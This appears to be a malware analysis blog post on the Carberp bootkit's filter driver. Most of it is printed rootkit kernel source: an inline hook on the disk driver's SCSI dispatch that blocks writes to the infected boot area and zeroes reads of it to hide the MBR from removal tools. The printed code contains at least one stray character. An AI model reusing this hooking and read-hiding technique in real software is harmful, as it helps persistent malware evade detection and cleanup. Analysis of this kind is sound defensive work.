Introduction
Carberp has bootkit features (for boot rootkit), allowing it to survive reboots by loading it’s driver from the MBR (Master boot record) bootstrap. The MBR Payload installer is basically just a low level (and not that low, AVs should be able to intercept it easily…) rewrite of the MBR sector with a custom self decrypted 16 bits code able to load its module in memory at boot time. Classic.
What we’ll see here is the driver itself, and especially the filter part, which is intended to protect the MBR sector against rewriting from malware removal tools (as it’s his only way to survive reboot, if one is able to overwrite the MBR with a legit one, the whole infection is gone).
It basically uses IRP inline hook on IRP_MJ_INTERNAL_DEVICE_CONTROL (or IRP_MJ_SCSI), to detour the execution flow of low level disk read/write and filter the calls.
Analysis
Here’s the global flow of the source code:
The driver entry is called very early in the system boot, due to the MBR loader (which will load the driver in memory before the system starts, no filesystem, no interrupts, and overall no antivirus). So it will trigger Initialization of the bootkit, which will registers its Process and Image callbacks (to be notified of new processes, and new drivers loaded, and inject them with APC – Not covered here).
//
// Our driver entry
//
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS ntStatus = BkInitialize(DriverObject, RegistryPath, &DriverInitialize, &DriverStartup);
return(ntStatus);
}
NTSTATUS DriverStartup(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
NTSTATUS ntStatus = STATUS_SUCCESS;
BkInitDriverDispatch(DriverObject);
ntStatus = HandleAllocateTable(&g_ActiveProcessDb, sizeof(PID_CONTEXT), NULL, NULL);
if (NT_SUCCESS(ntStatus))
{
InitializeAddons();
ntStatus = PsSetCreateProcessNotifyRoutine(&MyCreateProcessNotifyRoutine, FALSE);
if (NT_SUCCESS(ntStatus))
{
ntStatus = PsSetLoadImageNotifyRoutine(&MyLoadImageNotifyRoutine);
#ifdef _DRIVER_SUPPORTS_UNLOAD
DriverObject->DriverUnload = &DriverUnload;
#endif
}
if (!NT_SUCCESS(ntStatus))
{
PsSetCreateProcessNotifyRoutine(&MyCreateProcessNotifyRoutine, TRUE);
HandleReleaseTable(g_ActiveProcessDb);
}
else
{
#ifdef _BK_KIP
ntStatus = KipStartup(DriverObject, RegistryPath);
#endif
#ifdef _BK_VFS
ntStatus = FsLibStartup(DriverObject, RegistryPath);
#endif
if(NT_SUCCESS(ntStatus))
StartDelayInitThread();
}
} // if (NT_SUCCESS(ntStatus))
return(ntStatus);
}
StartDelayInitThread is responsible for creating a system thread which will wait for the filesystem to be available (just polling on a basic directory handle query until it succeed) and then it knows it can start the filesystem filtering.
//
// Create FS wait thread.
//
NTSTATUS StartDelayInitThread(VOID)
{
HANDLE hThread;
NTSTATUS ntStatus;
OBJECT_ATTRIBUTES oa = {0};
InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
ntStatus = PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, &DelayInitThread, NULL);
if (NT_SUCCESS(ntStatus))
ZwClose(hThread);
return(ntStatus);
}
//
// Since our driver coud be started early at system startup, there could be neither disk device no file system yet.
// This function waits until file system initialized and then activates KREP if any.
//
VOID DelayInitThread(PVOID Context)
{
NTSTATUS ntStatus;
UNICODE_STRING uDirectory = RTL_CONSTANT_STRING(wczSystemRoot);
IO_STATUS_BLOCK IoStatus = {0};
OBJECT_ATTRIBUTES oa = {0};
LARGE_INTEGER Interval;
HANDLE hDir;
BK_FS_AREA FsArea;
Interval.QuadPart = _RELATIVE(_MILLISECONDS(100));
InitializeObjectAttributes(&oa, &g_FsVolumeDevice, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
// Trying to open FS disk device.
do
{
ntStatus = ZwOpenFile(&hDir, GENERIC_READ | SYNCHRONIZE, &oa, &IoStatus,
FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);
if (NT_SUCCESS(ntStatus))
break;
KeDelayExecutionThread(KernelMode, TRUE, &Interval);
} while(!NT_SUCCESS(ntStatus));
ZwClose(hDir);
#if (defined(_BK_VFS) || defined(_BK_FILTER))
// Obtaining FS area information, coz we need it for VFS and for the Filter too.
ntStatus = FsLibGetFsArea(&FsArea);
#endif
#ifdef _BK_FILTER
if (NT_SUCCESS(ntStatus))
ntStatus = FltStartup(&FsArea);
#endif
#ifdef _BK_VFS
if (NT_SUCCESS(ntStatus))
ntStatus = FsLibActivate(&FsArea);
// Loading and processing an inject configuration file if any
if (NT_SUCCESS(ntStatus))
KldrLoadInjectConfig();
#endif
#ifdef _BK_KBOT
if (NT_SUCCESS(ntStatus))
ntStatus = KBotStartup();
#endif
UNREFERENCED_PARAMETER(Context);
}
FltStartup is triggered once the system has completely booted, and the filesystem is available. It will « attach » (not in the term of Device model, but malware writers model :D) to the upper device of PhysicalDrive0, by searching it’s device pointer, then Splicing its IRP_MJ_SCSI major function (looking for a JMP in the bytecode and replacing the address with its own). That way, on each attempt to read/write on PhysicalDrive0 it will end in the detour function (ClassDispatchScsi).
I’ve simulated the call to get the lower device of PhysicalDrive0, screenshot below:
#define wczBootDevice L"\\Device\\Harddisk0\\DR0"
NTSTATUS FltStartup(IN PBK_FS_AREA FsArea)
{
NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
UNICODE_STRING uDeviceName = RTL_CONSTANT_STRING(wczBootDevice);
KdPrint(("BKFLT: BK filter driver started.\n"));
HookInit();
RtlMoveMemory(&g_FsArea, FsArea, sizeof(BK_FS_AREA));
ntStatus = FltAttachClassDeviceDriver(&uDeviceName);
KdPrint(("BKFLT: Driver entry finished with status %x\n", ntStatus));
return(ntStatus);
}
NTSTATUS FltAttachClassDeviceDriver(PUNICODE_STRING uDeviceName)
{
NTSTATUS ntStatus;
PDRIVER_OBJECT DriverObj;
LARGE_INTEGER TickCount;
if (NT_SUCCESS(ntStatus = GetLowerDeviceObjectByName(uDeviceName, &g_ClassDevice)))
{
DriverObj = g_ClassDevice->DriverObject;
// Initializing BK internal request mark value
KeQueryTickCount(&TickCount);
g_MySrbMark = TickCount.LowPart;
// Setting hooks
if (DriverObj->MajorFunction[IRP_MJ_SCSI])
SetHook(&ClassDispatchScsi, &DriverObj->MajorFunction[IRP_MJ_SCSI], DriverObj->DriverStart);
}
return(ntStatus);
}
my_DispatchScsi is the detour function for IRP_MJ_SCSI. Once we got a request for read/write of PhysicalDrive0, the SRB (object containing all information about the request) is parsed.
If the request is a WRITE request and the offset and size requested and overlapping the boot sector (the one which is protected by the rootkit), then the rootkit will return ERROR_ACCESS_DENIED and the request will fail. Thus, the MBR is overwrite protected.
If the request is a READ request and is overlapping the boot sector, the IRP will be tagged with a completion routine for later processing, and it will pass the IRP to the next device of the stack.
//
// Standard IRP_MJ_SCSI dispatch routine hook
//
NTSTATUS my_DispatchScsi(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
NTSTATUS ntStatus = STATUS_REQUEST_NOT_ACCEPTED;
ULONGLONG StartBlock;
ULONG NumberBlocks, Length;
UCHAR CdbOpCode;
PCHAR DataBuffer;
ENTER_HOOK();
if (DeviceObject == g_ClassDevice)
{
//DbgPrintSrb(Srb);
CdbOpCode = FltParseSrb(Irp, &StartBlock, &NumberBlocks, &DataBuffer, &Length);
if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
{
if (FltIsWithinBkArea(StartBlock, NumberBlocks))
{
ntStatus = STATUS_ACCESS_DENIED;
Irp->IoStatus.Status = ntStatus;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
KdPrint(("BKFLT: Write from %u for %u sectors - blocked.\n", (ULONG)StartBlock, NumberBlocks));
}
} // if (CdbOpCode == SCSIOP_WRITE || CdbOpCode == SCSIOP_WRITE_DATA_BUFF)
else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
{
if (FltIsWithinBkArea(StartBlock, NumberBlocks))
ntStatus = FltForwardScsiIrpAsync(DeviceObject, Irp, StartBlock, NumberBlocks, DataBuffer, Length);
} // else if (CdbOpCode == SCSIOP_READ || CdbOpCode == SCSIOP_READ_DATA_BUFF)
} // if (DeviceObject == g_ClassDevice)
if (ntStatus == STATUS_REQUEST_NOT_ACCEPTED)
ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);
LEAVE_HOOK();
return(ntStatus);
} // my_DispatchScsi
NTSTATUS FltForwardScsiIrpAsync(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN ULONGLONG StartBlock,
ULONG NumberBlocks, PCHAR DataBuffer, ULONG Length)
{
NTSTATUS ntStatus = STATUS_INSUFFICIENT_RESOURCES;
PFLT_COMPLETION_CONTEXT FltCtx;
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
if (FltCtx = MyAllocatePool(NonPagedPool, sizeof(FLT_COMPLETION_CONTEXT)))
{
FltCtx->StartBlock = StartBlock;
FltCtx->NumberBlocks = NumberBlocks;
FltCtx->DataBuffer = DataBuffer;
FltCtx->Length = Length;
// save previouse completion routine, context and control flags
FltCtx->CompletionRoutine = IrpStack->CompletionRoutine;
FltCtx->CompletionContext = IrpStack->Context;
FltCtx->Control = IrpStack->Control;
// set a completion routine, context and control flags
IrpStack->CompletionRoutine = &FltIrpCompletionRoutine;
IrpStack->Context = FltCtx;
IrpStack->Control = SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_ERROR;
// call the next lower device
ntStatus = ((PDRIVER_DISPATCH)hook_DispatchScsi.Original)(DeviceObject, Irp);
}
return(ntStatus);
} // FltProcessScsiIrpSynchronous
Once the READ completed, we end into the completion routine (FltIrpCompletionRoutine), which will trigger FltReplaceRead. This function will simply zero the bytes overlapping the boot sector. That way, one will think the requested (and protected) sectors are empty, and will not be able to know what to do with (and thus will not be able to match against malicious signatures). The MBR is hidden from read requests.
NTSTATUS FltIrpCompletionRoutine(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
NTSTATUS ntStatus1, ntStatus = STATUS_MORE_PROCESSING_REQUIRED;
PFLT_COMPLETION_CONTEXT FltCtx = (PFLT_COMPLETION_CONTEXT)Context;
PIO_STACK_LOCATION IrpStack = IoGetCurrentIrpStackLocation(Irp);
// restore saved completion routine, context and control flags
IrpStack->CompletionRoutine = FltCtx->CompletionRoutine;
IrpStack->Context = FltCtx->CompletionContext;
IrpStack->Control = FltCtx->Control;
ntStatus1 = Irp->IoStatus.Status;
if (NT_SUCCESS(ntStatus1))
{
PCHAR UserBuffer = MmGetSystemAddressForMdlSafe(Irp->MdlAddress, LowPagePriority);
FltReplaceRead(FltCtx->StartBlock, FltCtx->NumberBlocks, UserBuffer, FltCtx->Length);
}
if (IrpStack->CompletionRoutine)
{
if ((NT_SUCCESS(ntStatus1) && (IrpStack->Control | SL_INVOKE_ON_SUCCESS)) ||
(ntStatus1 == STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_CANCEL)) ||
(!NT_SUCCESS(ntStatus1) && ntStatus1 != STATUS_CANCELLED && (IrpStack->Control | SL_INVOKE_ON_ERROR))
)
{
// Calling original IO completion routine
ntStatus = (IrpStack->CompletionRoutine)(DeviceObject, Irp, IrpStack->Context);
}
} // if (IrpStack->CompletionRoutine)
MyFreePool(FltCtx);
return(ntStatus);
}
VOID FltReplaceRead(ULONGLONG StartBlock, ULONG NumberBlocks, PCHAR DataBuffer, ULONG Length)
{
ULONG Skipped;
PCHAR FillBuffer;
ULONG FillLength = 0;
if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
{
FillBuffer = DataBuffer;
FillLength = Length;
if (StartBlock < g_FsArea.StartSector) { Skipped = ((ULONG)(g_FsArea.StartSector - StartBlock)) * g_FsArea.BytesPerSector; ASSERT(FillLength > Skipped);
FillBuffer += Skipped;
FillLength -= Skipped;
}
if ((StartBlock + NumberBlocks) > (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
{
Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.StartSector + g_FsArea.NumberOfSectors));
Skipped *= g_FsArea.BytesPerSector;
ASSERT(FillLength > Skipped);
FillLength -= Skipped;f
}
if (FillLength)
{
RtlZeroMemory(FillBuffer, FillLength);
KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
}
}
if (((StartBlock + NumberBlocks) > g_FsArea.BootSector && StartBlock < (g_FsArea.BootSector + 16)))
{
FillBuffer = DataBuffer;
FillLength = Length;
if (StartBlock < g_FsArea.BootSector) { Skipped = ((ULONG)(g_FsArea.BootSector - StartBlock)) * g_FsArea.BytesPerSector; ASSERT(FillLength > Skipped);
FillBuffer += Skipped;
FillLength -= Skipped;
}
if ((StartBlock + NumberBlocks) > (g_FsArea.BootSector + 16))
{
Skipped = (ULONG)((StartBlock + NumberBlocks) - (g_FsArea.BootSector + 16));
Skipped *= g_FsArea.BytesPerSector;
ASSERT(FillLength > Skipped);
FillLength -= Skipped;
}
KdPrint(("BKFLT: Replace %u bytes read starting from sector %u.\n", FillLength, (ULONG)StartBlock + (ULONG)(FillBuffer - DataBuffer) / g_FsArea.BytesPerSector));
} // if ((StartBlock + NumberBlocks) > g_FsArea.StartSector && StartBlock < (g_FsArea.StartSector + g_FsArea.NumberOfSectors))
}
Conclusion
The filter part of the Carberp bootkit is only one module among many others. It’s only designed to protect the only entry point of the whole infection, MBR. That way, without a (very) low level driver able to bypass its notification routine and the IRP hook to grab the correct bytes for analysis and cleanup, the removal tool will not be able to remove that nasty bootkit.